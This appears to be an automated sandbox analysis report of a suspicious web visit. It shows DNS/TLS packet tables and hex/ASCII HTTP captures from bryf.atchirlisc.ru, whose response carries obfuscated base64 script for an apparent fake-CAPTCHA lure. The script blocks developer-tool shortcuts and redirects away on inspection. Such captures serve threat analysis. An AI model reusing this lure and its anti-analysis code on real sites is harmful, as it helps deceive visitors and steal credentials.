Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 15:29:34.337666035 CET	53	64773	1.1.1.1	192.168.2.4
Jan 9, 2025 15:29:34.346571922 CET	53	56429	1.1.1.1	192.168.2.4
Jan 9, 2025 15:29:35.423463106 CET	53	53937	1.1.1.1	192.168.2.4
Jan 9, 2025 15:29:38.226120949 CET	56697	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:29:38.226258993 CET	58911	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:29:38.232898951 CET	53	56697	1.1.1.1	192.168.2.4
Jan 9, 2025 15:29:38.233186960 CET	53	58911	1.1.1.1	192.168.2.4
Jan 9, 2025 15:29:40.501955986 CET	49331	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:29:40.501955986 CET	64972	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:29:40.662868977 CET	53	64972	1.1.1.1	192.168.2.4
Jan 9, 2025 15:29:40.743475914 CET	53	49331	1.1.1.1	192.168.2.4
Jan 9, 2025 15:29:42.721478939 CET	59650	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:29:42.721640110 CET	49782	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:29:42.728362083 CET	53	49782	1.1.1.1	192.168.2.4
Jan 9, 2025 15:29:42.729137897 CET	53	59650	1.1.1.1	192.168.2.4
Jan 9, 2025 15:29:44.415335894 CET	53	59162	1.1.1.1	192.168.2.4
Jan 9, 2025 15:29:44.526279926 CET	56421	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:29:44.526664972 CET	57387	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:29:44.532800913 CET	53	56421	1.1.1.1	192.168.2.4
Jan 9, 2025 15:29:44.532946110 CET	53	57387	1.1.1.1	192.168.2.4
Jan 9, 2025 15:29:45.032638073 CET	51422	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:29:45.032812119 CET	54511	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:29:45.039570093 CET	53	54511	1.1.1.1	192.168.2.4
Jan 9, 2025 15:29:45.039789915 CET	53	51422	1.1.1.1	192.168.2.4
Jan 9, 2025 15:29:51.826726913 CET	138	138	192.168.2.4	192.168.2.255
Jan 9, 2025 15:29:52.360317945 CET	53	61339	1.1.1.1	192.168.2.4
Jan 9, 2025 15:30:05.477596045 CET	60512	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:30:05.478039026 CET	53920	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:30:05.831532001 CET	63149	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:30:05.831687927 CET	54693	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:30:05.838831902 CET	53	63149	1.1.1.1	192.168.2.4
Jan 9, 2025 15:30:05.838879108 CET	53	54693	1.1.1.1	192.168.2.4
Jan 9, 2025 15:30:08.167016983 CET	54170	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:30:08.167496920 CET	53152	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:30:08.168422937 CET	58976	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:30:08.168576002 CET	49809	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:30:08.173793077 CET	53	54170	1.1.1.1	192.168.2.4
Jan 9, 2025 15:30:08.174688101 CET	53	53152	1.1.1.1	192.168.2.4
Jan 9, 2025 15:30:08.175107002 CET	53	58976	1.1.1.1	192.168.2.4
Jan 9, 2025 15:30:08.175276041 CET	53	49809	1.1.1.1	192.168.2.4
Jan 9, 2025 15:30:08.308744907 CET	59209	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:30:08.309092999 CET	51039	53	192.168.2.4	1.1.1.1
Jan 9, 2025 15:30:08.315620899 CET	53	59209	1.1.1.1	192.168.2.4
Jan 9, 2025 15:30:08.316144943 CET	53	51039	1.1.1.1	192.168.2.4
Jan 9, 2025 15:30:09.248230934 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:09.559098005 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:10.258914948 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:11.459470987 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:11.503670931 CET	53	57542	1.1.1.1	192.168.2.4
Jan 9, 2025 15:30:11.902086973 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:11.902565002 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:11.902602911 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:11.903934002 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:11.905992031 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:11.906133890 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:12.001528978 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:12.001566887 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:12.001595020 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:12.001622915 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:12.030936956 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:12.031059027 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:12.124305964 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:12.181611061 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:13.360277891 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:13.360775948 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:13.455225945 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:13.456422091 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:13.456962109 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:13.457423925 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:13.865211964 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:13.870004892 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:13.960602999 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:13.962418079 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:13.965167999 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:13.966348886 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:13.967181921 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:14.187623978 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:14.187815905 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:14.282540083 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:14.285866022 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:14.287353039 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:14.287558079 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:24.289236069 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:24.289438009 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:24.384367943 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:24.388209105 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:24.398545980 CET	443	51522	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:24.398869991 CET	51522	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:25.623815060 CET	62106	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:25.928313971 CET	62106	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:26.113758087 CET	443	62106	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:26.113811016 CET	443	62106	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:26.113828897 CET	443	62106	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:26.113847017 CET	443	62106	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:26.116820097 CET	62106	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:26.117398024 CET	62106	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:26.117511988 CET	62106	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:26.212227106 CET	443	62106	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:26.212269068 CET	443	62106	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:26.212299109 CET	443	62106	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:26.212327957 CET	443	62106	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:26.212769032 CET	62106	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:26.212769032 CET	62106	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:26.307612896 CET	443	62106	172.64.41.3	192.168.2.4
Jan 9, 2025 15:30:26.334522963 CET	62106	443	192.168.2.4	172.64.41.3
Jan 9, 2025 15:30:34.349581957 CET	53	61667	1.1.1.1	192.168.2.4
Jan 9, 2025 15:30:34.738567114 CET	53	55474	1.1.1.1	192.168.2.4

Timestamp	Bytes transferred	Direction	Data
2025-01-09 14:29:41 UTC	670	OUT	GET /EeMAGvIe/ HTTP/1.1 Host: bryf.atchirlisc.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 14:29:42 UTC	1257	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 14:29:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8uH1nTw7l7qs99POpqTrGQtlDMbmpk9plZXRrtt%2FtFAT6F1AQQxcL%2FFctdVYSFBwpEWHRRi0%2Fa6G%2BombcNMO1C%2Bqs%2BSY2AO7EqpSoy56jCvp7CyKzrVt86xbQNT2eg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=73091&min_rtt=72913&rtt_var=41&sent=309&recv=159&lost=0&retrans=0&sent_bytes=315536&recv_bytes=9554&delivery_rate=416046&cwnd=233&unsent_bytes=0&cid=03947a6ab2869827&ts=321241&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlBhWmpGMDVWZ01jS0xzWm9RVGJ1VkE9PSIsInZhbHVlIjoia1BUemJwcVdBTWdYaURwRGxueFlaZ3FlM3QvalNpcnk2REFqbmVvbTFsbEZnNzl5Y0plbW9CQTNVZGZLQmw0aXZoUEQvVEt2ejZrWVMxUlpRWUVwWks2dzRwR2QvSDNLYU94MHJqdXlDYld6VWdsYW5Pa0NWOE1vQUx2WmxmZWgiLCJtYWMiOiIyZGY1YWNlMTg4Mzk3ODliNTUxMDZiNTA4ODM3YmMxNDcwM2ZhZGIwYzVmZTQ3ODE4ODU2OTYyZTQ4YjRlMmIyIiwidGFnIjoiIn0%3D; expires=Thu, 09-Jan-2025 16:29:42 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-01-09 14:29:42 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 77 76 53 55 39 44 56 55 67 76 53 6d 4d 30 62 44 4e 4b 54 31 46 54 57 58 4a 34 51 31 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 54 30 55 76 57 6b 46 70 4f 45 70 47 4d 44 63 72 4d 30 70 6d 61 79 39 73 55 45 68 6a 4f 58 64 34 62 30 46 34 4f 55 4e 42 62 6d 68 72 55 45 46 4a 52 69 39 36 4b 33 4a 45 55 33 68 61 56 47 4e 5a 51 57 4a 50 55 44 68 73 65 58 52 48 59 7a 56 45 55 6e 46 6d 53 6e 56 4c 54 58 6c 36 57 45 4e 45 4e 6c 68 69 4e 7a 4e 77 54 6a 42 49 56 57 56 6d 62 56 70 6b 61 58 70 57 64 6d 39 44 4d 45 4e 50 53 6c 42 46 61 47 5a 71 63 6a 64 73 63 6a 42 30 65 6d 35 53 4e 55 78 6b 4d 47 56 4c 62 57 6c 46 51 6d 52 31 56 33 6c 54 56 54 67 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImwvSU9DVUgvSmM0bDNKT1FTWXJ4Q1E9PSIsInZhbHVlIjoiT0UvWkFpOEpGMDcrM0pmay9sUEhjOXd4b0F4OUNBbmhrUEFJRi96K3JEU3haVGNZQWJPUDhseXRHYzVEUnFmSnVLTXl6WENENlhiNzNwTjBIVWVmbVpkaXpWdm9DMENPSlBFaGZqcjdscjB0em5SNUxkMGVLbWlFQmR1V3lTVTg
2025-01-09 14:29:42 UTC	1369	IN	Data Raw: 31 37 34 63 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 2f 2a 20 53 75 63 63 65 73 73 20 69 73 20 6e 6f 74 20 68 6f 77 20 68 69 67 68 20 79 6f 75 20 68 61 76 65 20 63 6c 69 6d 62 65 64 2c 20 62 75 74 20 68 6f 77 20 79 6f 75 20 6d 61 6b 65 20 61 20 70 6f 73 69 74 69 76 65 20 64 69 66 66 65 72 65 6e 63 65 20 74 6f 20 74 68 65 20 77 6f 72 6c 64 2e 20 2a 2f 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 43 63 6c 6c 47 4c 6d 46 30 59 32 68 70 63 6d 78 70 63 32 4d 75 63 6e 55 76 52 57 56 4e 51 55 64 32 53 57 55 76 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 Data Ascii: 174c<script>/* Success is not how high you have climbed, but how you make a positive difference to the world. */if(atob("aHR0cHM6Ly9CcllGLmF0Y2hpcmxpc2MucnUvRWVNQUd2SWUv") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIG
2025-01-09 14:29:42 UTC	1369	IN	Data Raw: 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 5a 6c 4f 77 30 4b 49 43 41 67 49 48 6f 74 61 57 35 6b 5a 58 67 36 49 44 45 37 44 51 6f 67 49 43 41 67 5a 47 6c 7a 63 47 78 68 65 54 6f 67 5a 6d 78 6c 65 44 73 4e 43 69 41 67 49 43 42 71 64 58 4e 30 61 57 5a 35 4c 57 4e 76 62 6e 52 6c 62 6e 51 36 49 47 4e 6c 62 6e 52 6c 63 6a 73 4e 43 69 41 67 49 43 42 68 62 47 6c 6e 62 69 31 70 64 47 56 74 63 7a 6f 67 59 32 56 75 64 47 56 79 4f 77 30 4b 49 43 41 67 49 47 68 6c 61 57 64 6f 64 44 6f 67 4d 54 41 77 4a 54 73 4e 43 69 41 67 49 43 42 6a 62 32 78 76 63 6a 6f 67 64 32 68 70 64 47 55 37 44 51 6f 67 49 43 41 67 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 69 41 79 4e 48 42 34 4f 77 30 4b 49 43 41 67 49 48 52 6c 65 48 51 74 59 57 78 70 5a 32 34 36 49 47 4e 6c 62 6e 52 6c 63 6a 73 Data Ascii: b246IHJlbGF0aXZlOw0KICAgIHotaW5kZXg6IDE7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIGhlaWdodDogMTAwJTsNCiAgICBjb2xvcjogd2hpdGU7DQogICAgZm9udC1zaXplOiAyNHB4Ow0KICAgIHRleHQtYWxpZ246IGNlbnRlcjs
2025-01-09 14:29:42 UTC	1369	IN	Data Raw: 57 39 75 4f 69 42 79 5a 57 78 68 64 47 6c 32 5a 54 73 4e 43 6e 30 4e 43 67 30 4b 4c 6d 4e 68 63 48 52 6a 61 47 45 74 59 32 68 6c 59 32 74 69 62 33 67 67 61 57 35 77 64 58 52 62 64 48 6c 77 5a 54 30 69 59 32 68 6c 59 32 74 69 62 33 67 69 58 54 70 6a 61 47 56 6a 61 32 56 6b 49 43 73 67 62 47 46 69 5a 57 77 67 4c 6d 4e 68 63 48 52 6a 61 47 45 74 59 32 68 6c 59 32 74 74 59 58 4a 72 4f 6a 70 68 5a 6e 52 6c 63 69 42 37 44 51 6f 67 49 43 41 67 59 32 39 75 64 47 56 75 64 44 6f 67 49 69 49 37 44 51 6f 67 49 43 41 67 63 47 39 7a 61 58 52 70 62 32 34 36 49 47 46 69 63 32 39 73 64 58 52 6c 4f 77 30 4b 49 43 41 67 49 47 78 6c 5a 6e 51 36 49 44 56 77 65 44 73 4e 43 69 41 67 49 43 42 30 62 33 41 36 49 44 46 77 65 44 73 4e 43 69 41 67 49 43 42 33 61 57 52 30 61 44 6f 67 Data Ascii: W9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggaW5wdXRbdHlwZT0iY2hlY2tib3giXTpjaGVja2VkICsgbGFiZWwgLmNhcHRjaGEtY2hlY2ttYXJrOjphZnRlciB7DQogICAgY29udGVudDogIiI7DQogICAgcG9zaXRpb246IGFic29sdXRlOw0KICAgIGxlZnQ6IDVweDsNCiAgICB0b3A6IDFweDsNCiAgICB3aWR0aDog
2025-01-09 14:29:42 UTC	1369	IN	Data Raw: 42 37 44 51 6f 67 49 43 41 67 5a 47 6c 7a 63 47 78 68 65 54 6f 67 62 6d 39 75 5a 54 73 4e 43 69 41 67 49 43 42 6d 62 47 56 34 4c 57 52 70 63 6d 56 6a 64 47 6c 76 62 6a 6f 67 59 32 39 73 64 57 31 75 4f 77 30 4b 49 43 41 67 49 47 46 73 61 57 64 75 4c 57 6c 30 5a 57 31 7a 4f 69 42 6a 5a 57 35 30 5a 58 49 37 44 51 6f 67 49 43 41 67 64 32 6c 6b 64 47 67 36 49 44 45 77 4d 43 55 37 44 51 6f 67 49 43 41 67 62 57 46 79 5a 32 6c 75 4c 58 52 76 63 44 6f 67 4d 54 42 77 65 44 73 4e 43 6e 30 4e 43 67 30 4b 4c 6d 4e 68 63 48 52 6a 61 47 45 74 59 32 39 75 64 47 56 75 64 43 42 70 62 57 63 67 65 77 30 4b 49 43 41 67 49 48 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 77 30 4b 49 43 41 67 49 47 31 68 63 6d 64 70 62 69 31 69 62 33 52 30 62 32 30 36 49 44 45 77 63 48 67 37 44 Data Ascii: B7DQogICAgZGlzcGxheTogbm9uZTsNCiAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOw0KICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7DQogICAgd2lkdGg6IDEwMCU7DQogICAgbWFyZ2luLXRvcDogMTBweDsNCn0NCg0KLmNhcHRjaGEtY29udGVudCBpbWcgew0KICAgIHdpZHRoOiAxMDAlOw0KICAgIG1hcmdpbi1ib3R0b206IDEwcHg7D
2025-01-09 14:29:42 UTC	496	IN	Data Raw: 70 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 64 70 62 6d 52 76 64 79 35 73 62 32 4e 68 64 47 6c 76 62 69 41 39 49 43 4a 68 59 6d 39 31 64 44 70 69 62 47 46 75 61 79 49 37 44 51 70 39 44 51 70 6b 62 32 4e 31 62 57 56 75 64 43 35 68 5a 47 52 46 64 6d 56 75 64 45 78 70 63 33 52 6c 62 6d 56 79 4b 43 64 72 5a 58 6c 6b 62 33 64 75 4a 79 77 67 5a 6e 56 75 59 33 52 70 62 32 34 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4d 54 49 7a 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 6d 59 57 Data Ascii: pKSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYW
2025-01-09 14:29:42 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 32 68 70 5a 6e 52 4c 5a 58 6b 67 4a 69 59 67 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4e 6a 63 70 49 48 78 38 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6e 4e 6f 61 57 5a 30 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 63 30 4b 53 42 38 66 41 30 4b 49 43 41 67 49 43 41 67 49 43 41 6f 5a 58 5a 6c 62 6e 51 75 59 33 52 79 62 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 7a 61 47 6c 6d 64 45 74 6c 65 53 41 6d 4a 69 42 6c 64 6d 56 75 64 43 35 72 5a 58 6c 44 62 32 52 6c 49 44 30 39 50 53 41 33 4e 53 6b 67 66 48 77 4e 43 69 41 67 49 43 41 67 49 43 41 67 4b 47 Data Ascii: 7ffa2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNjcpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDc0KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NSkgfHwNCiAgICAgICAgKG
2025-01-09 14:29:42 UTC	1369	IN	Data Raw: 64 48 52 77 63 7a 6f 76 4c 32 46 6a 59 32 39 31 62 6e 52 7a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 76 4a 79 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 30 4e 43 69 41 67 49 43 42 39 4c 43 41 78 4d 44 41 70 4f 77 30 4b 66 53 6b 6f 4b 54 73 4e 43 6a 77 76 63 32 4e 79 61 58 42 30 50 67 30 4b 50 43 39 6f 5a 57 46 6b 50 67 30 4b 50 47 4a 76 5a 48 6b 2b 44 51 6f 38 5a 47 6c 32 49 47 4e 73 59 58 4e 7a 50 53 4a 69 59 57 4e 72 5a 33 4a 76 64 57 35 6b 4c 57 4e 76 62 6e 52 68 61 57 35 6c 63 69 49 2b 44 51 6f 38 5a 47 6c 32 49 47 4e 73 59 58 4e 7a 50 53 4a 69 59 57 4e 72 5a 33 4a 76 64 57 35 6b 49 6a 34 38 4c 32 52 70 64 6a 34 4e 43 6a 78 6b 61 58 59 67 59 32 78 68 63 33 4d 39 49 6d 4e 76 62 6e 52 68 61 57 35 6c 63 69 49 2b 44 51 6f 67 49 43 41 67 50 47 52 Data Ascii: dHRwczovL2FjY291bnRzLmdvb2dsZS5jb20vJyk7DQogICAgICAgIH0NCiAgICB9LCAxMDApOw0KfSkoKTsNCjwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHk+DQo8ZGl2IGNsYXNzPSJiYWNrZ3JvdW5kLWNvbnRhaW5lciI+DQo8ZGl2IGNsYXNzPSJiYWNrZ3JvdW5kIj48L2Rpdj4NCjxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQogICAgPGR
2025-01-09 14:29:42 UTC	1369	IN	Data Raw: 6d 30 33 51 6b 31 52 5a 30 6c 50 64 45 56 4f 5a 44 6c 42 54 55 39 30 51 30 35 6c 63 45 52 4f 5a 57 52 4a 54 55 31 52 61 6b 67 72 63 45 52 4f 5a 57 68 44 54 69 73 78 52 45 35 6c 64 45 52 4f 54 55 31 72 53 55 31 52 61 55 6c 51 61 54 64 43 59 30 31 70 53 48 5a 74 4e 30 4a 50 61 45 4e 4f 54 33 42 44 54 6d 56 77 51 30 35 50 61 45 56 4f 54 32 52 42 54 30 39 73 51 30 35 6c 4f 55 46 4e 54 33 42 45 54 53 74 6f 52 45 35 6b 4f 55 46 52 52 55 64 47 4f 55 56 4c 52 6a 6c 45 54 32 39 56 4d 45 74 46 4f 48 70 54 62 31 55 77 52 30 51 34 65 6b 39 74 56 56 56 4c 52 6a 68 71 54 33 42 56 4d 45 4e 42 4e 33 70 44 62 6c 56 46 52 30 59 35 52 46 4e 77 56 57 74 4c 52 44 68 36 54 32 39 56 65 6c 4e 75 56 6b 56 48 52 6a 6c 46 51 30 67 33 65 6b 39 76 56 54 42 44 52 6a 68 71 56 32 35 56 Data Ascii: m03Qk1RZ0lPdEVOZDlBTU90Q05lcEROZWRJTU1RakgrcEROZWhDTisxRE5ldEROTU1rSU1RaUlQaTdCY01pSHZtN0JPaENOT3BDTmVwQ05PaEVOT2RBT09sQ05lOUFNT3BETStoRE5kOUFRRUdGOUVLRjlET29VMEtFOHpTb1UwR0Q4ek9tVVVLRjhqT3BVMENBN3pDblVFR0Y5RFNwVWtLRDh6T29VelNuVkVHRjlFQ0g3ek9vVTBDRjhqV25V
2025-01-09 14:29:42 UTC	1369	IN	Data Raw: 68 36 5a 45 52 50 5a 6e 6c 7a 64 6a 52 72 5a 6c 4d 7a 63 33 41 31 5a 57 5a 51 5a 47 68 71 53 7a 51 79 5a 54 45 32 4d 6d 77 76 53 43 39 6f 55 79 39 32 4d 6e 4a 61 55 32 6c 69 62 6a 6c 58 4b 32 35 51 54 46 64 57 4d 46 51 7a 63 6a 56 50 61 47 5a 49 4e 31 64 54 4c 32 70 79 5a 30 46 54 5a 31 64 6f 62 56 4d 34 54 46 41 72 52 32 39 6f 53 45 74 51 62 32 5a 6e 53 6e 42 6f 55 30 31 71 55 47 46 76 4c 30 68 32 63 47 49 76 52 54 46 44 64 45 52 4a 62 6a 56 54 5a 6e 4e 4a 65 55 77 32 51 6b 73 79 55 6b 6c 36 61 79 39 54 55 6a 42 45 62 6b 45 78 51 56 42 52 65 58 49 34 63 45 68 33 52 58 42 45 4f 45 4e 57 59 32 46 52 52 47 6f 34 63 45 68 33 53 48 68 71 4d 45 4a 57 54 57 46 55 52 6e 6f 7a 53 55 68 4e 55 7a 6b 72 56 6d 5a 49 4b 7a 67 7a 4d 33 52 6f 64 6d 4e 4b 53 6d 4a 32 65 Data Ascii: h6ZERPZnlzdjRrZlMzc3A1ZWZQZGhqSzQyZTE2MmwvSC9oUy92MnJaU2libjlXK25QTFdWMFQzcjVPaGZIN1dTL2pyZ0FTZ1dobVM4TFArR29oSEtQb2ZnSnBoU01qUGFvL0h2cGIvRTFDdERJbjVTZnNJeUw2QksyUkl6ay9TUjBEbkExQVBReXI4cEh3RXBEOENWY2FRRGo4cEh3SHhqMEJWTWFURnozSUhNUzkrVmZIKzgzM3RodmNKSmJ2e

Timestamp	Bytes transferred	Direction	Data
